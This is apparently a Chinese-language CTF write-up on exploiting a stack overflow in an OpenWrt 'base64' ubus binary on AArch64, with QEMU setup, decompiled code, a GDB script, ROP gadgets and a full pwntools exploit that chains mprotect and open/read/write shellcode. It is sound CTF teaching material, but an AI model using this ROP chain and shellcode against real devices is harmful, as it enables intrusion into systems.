0%

ARM ROP+shellcode

d3op

1
2
3
4
5
6
7
8
9
10
11
12
13
qemu-system-aarch64 \
-m 256M \
-cpu cortex-a57 \
-smp 2\
-M virt \
-device virtio-net,netdev=net0 \
-netdev user,id=net0,net=192.168.1.0/24,hostname=openwrt,hostfwd=tcp:0.0.0.0:9999-192.168.1.1:80 \
-drive file=squashfs-root.img,format=raw,if=virtio \
-nographic \
-kernel Image \
-append 'root=/dev/vda' \
-s \
-no-reboot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
# Copyright (C) 2006 OpenWrt.org
export INITRAMFS=1

# switch to tmpfs to allow run daemons in jail on initramfs boot
DIRS=$(echo *)
NEW_ROOT=/new_root

mkdir -p $NEW_ROOT
mount -t tmpfs tmpfs $NEW_ROOT

cp -pr $DIRS $NEW_ROOT

exec switch_root $NEW_ROOT /sbin/init

说实话本题目有点懵:

1
2
3
4
5
6
7
8
root@(none):/# id
uid=0(root) gid=0(root)
root@(none):/# ls
bin flag lib64 proc sbin usr
dev init mnt rom sys var
etc lib overlay root tmp www
root@(none):/# cat flag
flag{This_is_test_flag}
  • 看到 root 权限后第一反应是 qemu 逃逸(在阿里云CTF的 wee 那里已经吃过亏了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@(none):/# lsmod
crc_ccitt 12288 1 ppp_async
libcrc32c 12288 1 nf_tables
nf_conntrack 86016 7 nft_redir,nft_nat,nft_masq,nft_flow_offload,nft_ct,nf_nat,nf_flow_table
nf_defrag_ipv4 12288 1 nf_conntrack
nf_defrag_ipv6 16384 1 nf_conntrack
nf_flow_table 28672 4 nf_flow_table_ipv6,nf_flow_table_ipv4,nf_flow_table_inet,nft_flow_offload
nf_flow_table_inet 12288 0
nf_flow_table_ipv4 12288 0
nf_flow_table_ipv6 12288 0
nf_log_common 12288 2 nf_log_ipv6,nf_log_ipv4
nf_log_ipv4 12288 0
nf_log_ipv6 12288 0
nf_nat 32768 4 nft_redir,nft_nat,nft_masq,nft_chain_nat
nf_reject_ipv4 12288 2 nft_reject_ipv4,nft_reject_inet
nf_reject_ipv6 12288 2 nft_reject_ipv6,nft_reject_inet
nf_tables 147456 24 nft_fib_inet,nf_flow_table_ipv6,nf_flow_table_ipv4,nf_flow_table_inet,nft_reject_ipv6,nft_reject_ipv4,nft_reject_inet,nft_reject,nft_redir,nft_quota,nft_objref,nft_numgen,nft_nat,nft_masq,nft_log,nft_limit,nft_hash,nft_flow_offload,nft_fib_ipv6,nft_fib_ipv4,nft_fib,nft_ct,nft_counter,nft_chain_nat
nfnetlink 12288 1 nf_tables
nft_chain_nat 12288 0
nft_counter 12288 0
nft_ct 16384 0
nft_fib 12288 3 nft_fib_inet,nft_fib_ipv6,nft_fib_ipv4
nft_fib_inet 12288 0
nft_fib_ipv4 12288 1 nft_fib_inet
nft_fib_ipv6 12288 1 nft_fib_inet
nft_flow_offload 12288 0
nft_hash 12288 0
nft_limit 12288 0
nft_log 12288 0
nft_masq 12288 0
nft_nat 12288 0
nft_numgen 12288 0
nft_objref 12288 0
nft_quota 12288 0
nft_redir 12288 0
nft_reject 12288 3 nft_reject_ipv6,nft_reject_ipv4,nft_reject_inet
nft_reject_inet 12288 0
nft_reject_ipv4 12288 0
nft_reject_ipv6 12288 0
ppp_async 16384 0
ppp_generic 36864 3 pppoe,ppp_async,pppox
pppoe 20480 0
pppox 12288 1 pppoe
slhc 16384 1 ppp_generic
  • 看到这么多的内核模块,起初以为是 ARM 内核题目,但使用 find . -regex ".*\.ok" 查找不到内核模块

使用 sudo mount squashfs-root.img rootfs 挂载镜像,发现里面有 www 目录,猜测该程序可能是一个服务器,但不知道从何处入手

漏洞分析

本题目的漏洞在二进制文件 base64 中:

1
2
3
4
5
6
7
8
root@(none):/# ubus call base64 encode '{"input":"aaaaaaaaaa"}'
{
"output": "YWFhYWFhYWFhYQA="
}
root@(none):/# ubus call base64 decode '{"input":"YWFhYWFhYWFhYQ=="}'
{
"output": "aaaaaaaaaa"
}
  • 程序提供了一个 base64 加解密功能,底层使用的文件就是 base64

其漏洞藏在函数 sub_4061AC 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_4061AC(__int64 a1, __int64 a2)
{
int v3; // w0
int v4; // w0
int v5; // w0
int v6; // w0
int v7; // w0
int v8; // w0
int v9; // w0
int v10; // w0
int v11; // w0
int v12; // w0
int v13; // w0
char v16[1028]; // [xsp+28h] [xbp+28h] BYREF /* 栈溢出 */
int v17; // [xsp+42Ch] [xbp+42Ch]
int v18; // [xsp+430h] [xbp+430h]
int v19; // [xsp+434h] [xbp+434h]
int v20; // [xsp+438h] [xbp+438h]
int v21; // [xsp+43Ch] [xbp+43Ch]
unsigned int v22; // [xsp+440h] [xbp+440h]
unsigned int v23; // [xsp+444h] [xbp+444h]
unsigned int v24; // [xsp+448h] [xbp+448h]
unsigned int v25; // [xsp+44Ch] [xbp+44Ch]
  • 栈溢出漏洞

至于程序怎么到达这个函数我不是很清楚,但按照如下 mygdbinit 进行操作就可以到达:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
target remote :1234
set architecture aarch64
set endian little

b* 0x406588
c
set $pc = 0x40658C
b* 0x4065a4
c
set $pc = 0x4065C4
b* 0x406614
c
b* 0x406658
c
set $pc=0x40666C
b* 0x406510
c
set $pc=0x406518
b* 0x406538
c
set $pc=0x406544
si
si
si
b* 0x4061C8
c
b* 0x4064C8
c

此时用于调试的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding:utf-8 -*-
from pwn import *
import base64

arch = 64
challenge = './base64'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='aarch64'
if arch==32:
context.arch='i386'

local = 1
if local:
p = process("qemu-aarch64 -L /usr/aarch64-linux-gnu -g 1234 ./base64", shell = True)
else:
p = remote('119.13.105.35','10111')

payload =
payload = "{\"input\":\"" + base64.b64encode(payload) + "\"}"

p.sendline(payload)

p.interactive()

然后在两个 shell 中分别执行如下命令,就可以开始调试了:

1
2
python exp.py
gdb-multiarch -q base64 -x mygdbinit

入侵思路

有一个无限栈溢出,于是思路就很简单:

  • 使用一个 ROP 执行 mprotect 修改权限
  • 然后执行 ORW 的 shellcode

本题目的难点在于:

  • 在 ARM 架构下的静态文件中,找下合适的 Gadget

可以在 IDA 中使用 ALT + B 来查找二进制代码:

1682935498666

最开始是想找 csu_gadget,在发现没有后就找了两个和它接近的 gadget:

1
2
3
4
5
6
7
.text:0000000000407380                               loc_407380                              ; CODE XREF: sub_4072F4+D4↓j
.text:0000000000407380 ; sub_4072F4+E4↓j
.text:0000000000407380 F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:0000000000407384 F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:0000000000407388 F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text:000000000040738C FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40
.text:0000000000407390 C0 03 5F D6 RET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:000000000043EAAC                               loc_43EAAC                              ; CODE XREF: sub_43EA60+A0↓j
.text:000000000043EAAC C3 1E 40 F9 LDR X3, [X22,#0x38]
.text:000000000043EAB0 E2 03 14 AA MOV X2, X20
.text:000000000043EAB4 E1 03 15 AA MOV X1, X21
.text:000000000043EAB8 60 00 3F D6 BLR X3
.text:000000000043EAB8
.text:000000000043EABC 1F 00 14 EB CMP X0, X20
.text:000000000043EAC0 C0 00 00 54 B.EQ loc_43EAD8
.text:000000000043EAC0
.text:000000000043EAC4 7F 22 00 B9 STR WZR, [X19,#0x20]
.text:000000000043EAC8 F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:000000000043EACC F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:000000000043EAD0 FD 7B C3 A8 LDP X29, X30, [SP+var_s0],#0x30
.text:000000000043EAD4 C0 03 5F D6 RET

这里 gadget 缺少对第一个参数 X0 的控制,因此需要第三个 gadget:

1
2
3
4
5
6
7
.text:000000000041F0C0 E0 03 16 2A                   MOV             W0, W22
.text:000000000041F0C4 F5 5B 42 A9 LDP X21, X22, [SP,#0x80+var_60]
.text:000000000041F0C8 F7 63 43 A9 LDP X23, X24, [SP,#0x80+var_50]
.text:000000000041F0CC F9 6B 44 A9 LDP X25, X26, [SP,#0x80+var_40]
.text:000000000041F0D0 FB 73 45 A9 LDP X27, X28, [SP,#0x80+var_30]
.text:000000000041F0D4 FD 7B C8 A8 LDP X29, X30, [SP+0x80+var_80],#0x80
.text:000000000041F0D8 C0 03 5F D6 RET

拼接这3个 gadget,写出组合函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def ret2csu(func_addr, ret_addr ,arg0, arg1, arg2):
payload = p64(magic_addr1) # x29(start)
payload += "b"*0x20
payload += p64(0)
payload += p64(magic_addr3) # x30
payload += p64(0x4A1F48) # x19
payload += p64(arg2) # x20(x2)
payload += p64(0) # x21
payload += p64(arg0) # x22(x0)
payload += p64(0) # x23
payload += p64(0) # x24
payload += p64(0) # sp
payload += p64(magic_addr2)
payload += "1"*0x10
payload += p64(arg1) # x21(x1)
payload += p64(func_addr-0x38) # x22(x3+0x38)
payload += 'a'*0x8
payload += 'b'*0x8
payload += 'c'*0x8
payload += 'd'*0x8
payload += 'e'*0x8
payload += 'f'*0x8
payload += 'g'*0x8
payload += 'h'*0x8
payload += 'l'*0x8
payload += 'j'*0x8
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
return payload

反复调试校对数据,最终就可以写入最终 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding:utf-8 -*-
from pwn import *
import base64

arch = 64
challenge = './base64'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='aarch64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process("qemu-aarch64 -L /usr/aarch64-linux-gnu -g 1234 ./base64", shell = True)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendline(str(op))

magic_addr1 = 0x0000000000407380
magic_addr2 = 0x000000000043EAAC
magic_addr3 = 0x000000000041F0C0
bss_addr = 0x4A2098

def ret2csu(func_addr, ret_addr ,arg0, arg1, arg2):
payload = p64(magic_addr1) # x29(start)
payload += "b"*0x20
payload += p64(0)
payload += p64(magic_addr3) # x30
payload += p64(0x4A1F48) # x19
payload += p64(arg2) # x20(x2)
payload += p64(0) # x21
payload += p64(arg0) # x22(x0)
payload += p64(0) # x23
payload += p64(0) # x24
payload += p64(0) # sp
payload += p64(magic_addr2)
payload += "1"*0x10
payload += p64(arg1) # x21(x1)
payload += p64(func_addr-0x38) # x22(x3+0x38)
payload += 'a'*0x8
payload += 'b'*0x8
payload += 'c'*0x8
payload += 'd'*0x8
payload += 'e'*0x8
payload += 'f'*0x8
payload += 'g'*0x8
payload += 'h'*0x8
payload += 'l'*0x8
payload += 'j'*0x8
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
return payload

# unsigned int len; // [xsp+440h] [xbp+440h]
# unsigned int round; // [xsp+444h] [xbp+444h]
# unsigned int idx; // [xsp+448h] [xbp+448h]
# unsigned int v25; // [xsp+44Ch] [xbp+44Ch]

lenn = 0x6cc
idx = p32(0x420)
v25 = p32((3 * (lenn >> 2))-1)
roundd = p32(0x430-3)

mprotect_addr = bss_addr
exit_addr = 0x422D60

shellcode = asm(shellcraft.linux.open("./flag",6))
shellcode += asm(shellcraft.linux.read(5,bss_addr+0x400,0x30))
shellcode += asm(shellcraft.linux.write(1,bss_addr+0x400,0x30))
shellcode += asm(shellcraft.linux.exit(0))

offset = 0x480
shellcode_addr = bss_addr + 0x8
stack_addr = 0x4a0000

paddling = p64(0x423340)+shellcode
paddling = paddling.ljust(0x418,"\x00")
paddling += p32(lenn)
paddling += roundd

payload = paddling + ret2csu(mprotect_addr,shellcode_addr,stack_addr,0x9000,7)
print(ret2csu(mprotect_addr,shellcode_addr,stack_addr,0x9000,7))
success("paddling_len: "+hex(len(paddling)))
success("ret2csu: "+hex(len(ret2csu(mprotect_addr,shellcode_addr,stack_addr,0x9000,7))))

success("PAYLOAD_decode: "+hex(len(payload)))
success("PAYLOAD_encode: "+hex(len(base64.b64encode(payload))))
success("lenn: " + hex(lenn))
success("roundd: " + hex(u32(roundd)))
success("idx: " + hex(u32(idx)))
success("v25: " + hex(u32(v25)))

payload = "{\"input\":\"" + base64.b64encode(payload) + "\"}"

p.sendline(payload)

p.interactive()

小结:

很久都没有尝试过 ARM 的 ROP 了,通过这个题目复习了一下